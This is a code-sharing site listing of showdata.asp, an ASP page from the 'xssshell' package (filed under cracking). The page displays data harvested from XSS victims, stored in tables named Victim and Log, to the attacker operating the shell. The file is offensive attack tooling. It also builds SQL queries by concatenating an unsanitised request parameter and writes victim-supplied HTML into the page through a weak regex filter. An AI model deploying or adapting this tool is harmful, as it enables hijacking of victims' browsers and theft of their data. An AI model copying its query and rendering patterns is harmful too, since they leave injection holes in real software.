showdata.asp
资源名称:xssshell.rar [点击查看]
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:2k
源码类别:
破解
开发平台:
ASP/ASPX
- <%
- '// SHOW DATA
- ' Show detailed data from records be carefull about backfire XSS attacks!
- '//HISTORY
- '09/08/2006
- ' - Started
- '//TODO
- ' - Safe HTML method (you can manually implement this page to a subpage for a more secure HTML viewing expreience)
- ' - Remove previously injected payload (if any)
- %>
- <!--#include file="db.asp" -->
- <%
- protected()
- Dim mode
- mode = fm_Qnstr("m")
- Select Case mode
- Case 1
- ShowData
- Case Else
- ShowHTML
- End Select
- Sub ShowData()
- Dim RsData
- getRs RsData, "SELECT Data FROM Victim WHERE ID = " & fm_Qnstr("i")
- Response.Write "<blockquote>" & fm_Encode(RsData("Data")) & "</blockquote>"
- fmKill RsData
- End Sub
- Sub ShowHTML()
- Dim RsData
- getRs RsData, "SELECT ID, Data, Type, [Time] FROM Log WHERE ID = " & fm_Qnstr("i")
- If RsData.EOF And RsData.BOF then Exit Sub
- Response.Write "Time : " & RsData("Time") & "<hr>"
- Dim Data2Write
- Data2Write = RsData("Data")
- fmKill RsData
- %>
- <script>
- window.onload=function(){
- var newdoc = filter(unescape("<%=Data2Write%>"));
- document.open();
- document.write(newdoc);
- document.close();
- }
- /*
- You should;
- - implement your own filter here if it's not style otherwise xssshell will call itelf recursively
- You can;
- - Build a filter for against backfire (XSS attacks from so called victim - don't forget this page and your patterns will be visible to everyone.)
- - or strip all HTML etc...
- */
- function filter(html){
- return html.replace(/<SCRIPTb[^>]*>(.*?)</SCRIPT>/i, "");
- }
- </script>
- <%
- End Sub
- %>